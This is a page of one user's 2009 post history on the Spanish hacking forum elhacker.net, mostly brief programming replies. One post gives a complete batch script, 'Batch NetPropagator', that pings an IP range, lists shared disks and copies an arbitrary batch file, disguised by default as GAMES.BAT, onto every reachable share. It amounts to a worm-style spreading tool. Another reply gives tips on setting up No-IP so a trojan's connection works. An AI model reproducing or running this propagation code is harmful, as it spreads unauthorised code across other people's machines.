elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Top 20 herramientas Hacking ms populares de 2020


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16 17 18 19
131  Programacin / Programacin Visual Basic / Re: Crear .lib en Visual basic 6 en: 15 Junio 2009, 08:32 am
.lib??
La extensin, de que clase de archivo es?

SaluDOS!!!
132  Programacin / Programacin Visual Basic / Re: troyano con Conexion por VPN? en: 1 Junio 2009, 07:54 am
Por la VPN no creo..
yo uso No-Ip solo tienes que configurarlo bien para que dirija bien la info, si no esta bien configurado el No-IP pone la IP de tu Router, por esa razon a veces no funciona..

Ahora no tengo el no-ip a mano, asi que no recuerdo bien como era, solo recuerdo que habian 2 opciones (creo) que habia que activar para que funcione bien..

SaluDOS!!!
PD: Al fin alguien que tambien vive en Bolivia..,pense que yo era el unico !!! ;D
133  Programacin / Programacin Visual Basic / Re: [VB]Crear un escaneador de puertos en: 1 Junio 2009, 07:44 am
Creo que sale muy lento..
pero esta bueno para comenzar por ahi asta llegar ha construir uno mas rapido
yo lo uso creando matrizes de Winsocks, escanea asta 100 puertos por 3 segundos...
haber si lo hago de nuevo y posteo.

Igual esta muy bien.. :)
SaluDOS!!!
134  Programacin / Programacin Visual Basic / Re: Buscar en la lista de contactos de Messeger en: 31 Mayo 2009, 04:40 am
La parte de for.. es la que vuelve tu procesador mas rapido ya que lo haces trabajar demasiado seguido y rapido, lo que deberias de hacer es algunas pequeas pausas al menos 100 milisegundos, podrias hacerlo cambiando el Interval del timer, si no tambien podrias hacer pequeas pausas con Sleep que esta en la API Guide...
Ahora no estoy en mi  PC asi que no puedo darte un ejemplo.. :)
SaluDOS!!!
135  Programacin / Scripting / [BAT] Batch NetPropagator 1.0 BY 3D1 (Propaga un Batch por toda nuestra RED) en: 30 Mayo 2009, 06:41 am
Batch NetPropagator 1.0 BY 3D1

Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...

Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene pequeos inconvenientes, pero no afectan en nada el funcionamiento..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:
Citar
192.168.1.X
Entonces en el Batch se usara asi:
Citar
192.168.001.X
Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..

Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea  ;D
Código
  1. @Echo Off
  2. @Title .:: Batch NetPropagator 1.0 BY 3D1 ::.
  3. @Mode con cols=44 Lines=15
  4. @Color 0A
  5. If Exist Report.txt (Del /Q Report.txt>nul 2>&1)
  6. If Exist Key.exe (Del /Q Key.exe >Nul 2>&1)
  7. If Exist Keyboard.dat (Del /Q Keyboard.dat>nul 2>&1)
  8. (
  9. Echo ^(
  10. echo Echo n keyboard.dat
  11. echo Echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
  12. echo Echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
  13. echo Echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
  14. echo Echo 002E
  15. Echo ^)^|Debug
  16. Echo Ren keyboard.dat Key.exe
  17. Echo Del %%0
  18. )>AddK.bat
  19. Start /MIN Cmd /c Addk.bat
  20. CLS
  21. Echo Please Wait...
  22. Ping -n 2 0.0.0.0>nul 2>&1
  23. Mode con cols=44 Lines=15
  24. :new
  25. Set "Txt="
  26. Set "ips="
  27. Set "ip="
  28. Set /a uip=255
  29. Set /a iip=0
  30. Set Sp=                    ....
  31. Set "ip0="
  32. :form
  33. Set "ipt=%ip0%%Sp%"
  34. Set "ip1=%ipt:~0,3%"
  35. Set "ip2=%ipt:~3,3%"
  36. Set "ip3=%ipt:~6,3%"
  37. Cls
  38. Echo          ESCRIBA LA DIRECCION IP:
  39. ECHO          ͻ ͻ ͻ ͻ
  40. echo          %ip1%.%ip2%.%ip3%. *
  41. Echo          ͼ ͼ ͼ ͼ
  42. echo  Copyright (3D1) 2009 - Derechos reservados
  43. echo  
  44. echo            Hacking And Security
  45. echo            
  46. Key
  47. IF %ERRORLEVEL% == 48 (set ip0=%ip0%0)
  48. IF %ERRORLEVEL% == 49 (set ip0=%ip0%1)
  49. IF %ERRORLEVEL% == 50 (set ip0=%ip0%2)
  50. IF %ERRORLEVEL% == 51 (set ip0=%ip0%3)
  51. IF %ERRORLEVEL% == 52 (set ip0=%ip0%4)
  52. IF %ERRORLEVEL% == 53 (set ip0=%ip0%5)
  53. IF %ERRORLEVEL% == 54 (set ip0=%ip0%6)
  54. IF %ERRORLEVEL% == 55 (set ip0=%ip0%7)
  55. IF %ERRORLEVEL% == 56 (set ip0=%ip0%8)
  56. IF %ERRORLEVEL% == 57 (set ip0=%ip0%9)
  57. IF %ERRORLEVEL% == 27 (Exit)
  58. IF %ERRORLEVEL% == 13 (Set ip=%ip1%.%ip2%.%ip3%&CLS&Goto :Code)
  59. IF %ERRORLEVEL% == 8 (SET ip0=<NUL&&set ip0=%ip0:~0,-1%)
  60. Goto :form
  61. :Code
  62. Mode Con Cols=80 Lines=25
  63.  
  64. Set "nameb=GAMES.BAT"
  65.  
  66. If Exist "%nameb%" (Del /Q "%nameb%" >nul 2>&1)
  67. CLS
  68. Echo  Batch NetPropagator 1.0 BY 3D1 [BETA]
  69. Echo       Escriba o pegue el codigo fuente del batch que se copiara a los..
  70. Echo       Archivos compartidos de los Equipos de su Red..
  71. Echo       Para Terminar presione [Ctrl + Z]+[Enter]
  72. Echo       Nombre Predeterminado  [GAMES.bat]
  73. Copy Con "%nameb%" >nul 2>&1
  74. If Not Exist "%nameb%" (Goto :Code)
  75. Set /P"=> Estas Seguro que deseas Guardar el Code? [Y/N]"<nul
  76. :stas
  77. Key
  78. if "%errorlevel%" == "121" (Goto :Bucle)
  79. if "%errorlevel%" == "89" (Goto :Bucle)
  80. if "%errorlevel%" == "110" (Goto :Code)
  81. if "%errorlevel%" == "78" (Goto :Code)
  82. Goto :stas
  83. :Bucle
  84. Mode con cols=45 Lines=16
  85. Cls
  86. ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT
  87. Set /p state=<STATEIP.DAT
  88. If Exist STATEIP.DAT (Del /Q STATEIP.DAT>nul 2>&1)
  89. If "%state%" == "    (0%% perdidos)," (Echo Conect to: %ip%.%iip%&Echo Conect to: %ip%.%iip%>>Report.txt&Set "ips=%ip%.%iip%"&Call :netview)
  90. If "%iip%" NEQ "%uip%" (
  91. Set /a iip=%iip%+1
  92. Goto :Bucle
  93. )
  94. If Exist Report.txt (Start Notepad Report.txt)
  95. Set /p"=>Presione Tecla para Salir [KEY]"<nul
  96. Pause>nul
  97. Goto :Eof
  98.  
  99. :netview
  100. If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
  101. For /f "Tokens=*" %%_ in ('Net View \\%ips% 2^>^&1^|Find "Disco"') do (
  102. for %%A in (%%_) do (
  103. if "%%A" NEQ "Disco" (
  104. Set /p=%%A >>GetFileName.dat<nul
  105. Ping -n 0 0.0.0.0>nul
  106. )
  107. )
  108. Call :add
  109. )
  110. Goto :eof
  111. :add
  112. Set /p F=<GetFileName.dat
  113. If Exist "\\%ips%\%F% " (
  114. Echo  + Copy To : %F%
  115. Copy "%nameb%" "\\%ips%\%F:~0,-1%" >nul 2>&1
  116. Echo  + Copy To : %F%>>Report.txt
  117. ) ELSE (
  118. Echo  - Copy Not: %F%
  119. Echo  - Copy Not: %F%>>Report.txt
  120. )
  121. If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
  122. Goto :eof
El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.255 y la verdad es rapido.. ;)
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..

Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!!   ::)
136  Programacin / Scripting / Re: [batch] para q sirve el comando rem en: 30 Mayo 2009, 06:33 am
Si como dijo Darioxhcx
Eso es rem, aadiendo que es igual ha poner ":: Comentario" o "Rem Comentario"
SaluDOS!!!
137  Programacin / Scripting / Re: [VBS] Denegar acceso a una carpeta o archivo o pedir una Password en: 17 Mayo 2009, 02:21 am
Exacto, ese es el problema, es decir, cuanto tarda en cerrarse el programa, ya que al enviar ALT+F4 vuelve a comenzar, y si no se cerr puede hacer cualquier cosa  :-X

Igualmente ya encontr el problema, y no es de code  : , por lo visto el script mata su propio mensaje, no pone el foco adecuadamente cuando enva el ALT+F4, cambia el valor de foco a true, pero no lo pone en foco!!
Versin de win? me da problemas con el SP3, pero no con el SP2  :-\


Saludos
Ya estoy trabajando en otro Script usare APIs con el Objecto excel.application parece mucho mejor..
y que raro yo lo pruebo con Sp3 y funciona...
SaluDOS!!!
138  Programacin / Programacin Visual Basic / Re: AYUDA EN FORMULARIO en: 16 Mayo 2009, 17:33 pm
para: ranslsad
gracias por contestar, pero no es esto lo que busco, lo que yo quiero hacer es pasar de visual basic a word, que en word me salga NOMBRE que previamente ya he hecho yo una plantilla y que los datos que rellene en el formulario de visual me aparezcan en la plantilla de word.
Algo parcido a esto:
http://www.ajpdsoft.com/modules.php?name=News&file=article&sid=251
GRACIAS.
En la Web que mensionas esta bien explicado.., entonces cual es la duda que tienes
Postea la parte que no entiendes asi te explicamos..
SaluDOS!!!
139  Programacin / Scripting / Re: [VBS] Denegar acceso a una carpeta o archivo o pedir una Password en: 16 Mayo 2009, 05:28 am
hola!, estuve probando el code para denegar el acceso a una carpeta o archivo y pedir una pass, y cuando ejecuto el .exe o la carpeta, me abre al ventana de que esta bloqueado y si quiero desbloquearlo :xD, pero entra en un bucle infinito, y empieza a repetir la ventana donde pregunta lo anterior, escribiendo "&percent" en cada ventana, primero pense que estaba mal el nombre de la carpeta, pero no, la carpeta se llamaba "hola"  :-\..... eso queria aportar :xD!, nose porke sera porke no se casi nada de vbs.....

saludos el code esta muy bueno, pero si funcionara bien seria mucho mejor (no es que este exjiendo nada), solo digo que puede ser muy util para mucho de nosotros =)

saludos
Pues debi decir que en EXEs no funciona bien del todo, este code solo manda las teclas Alt + F4 y si no cierra vuelve a salir el mensaje, algunos ejecutables no se cierran con un Alt + F4..
Usalo mejor solo con carpetas..
SaluDOS!!!
140  Programacin / Scripting / Re: [VBS] Denegar acceso a una carpeta o archivo o pedir una Password en: 11 Mayo 2009, 22:23 pm
No es eso.., es que estoy en Modo a Prueba de Fallos desde hace dias lo estoy usando asi..
Por esa razon creo que es...
Bueno no importa lo probare en otro PC cuando pueda..
Esta muy bien el code..
SaluDOS!!!
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 [14] 15 16 17 18 19
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines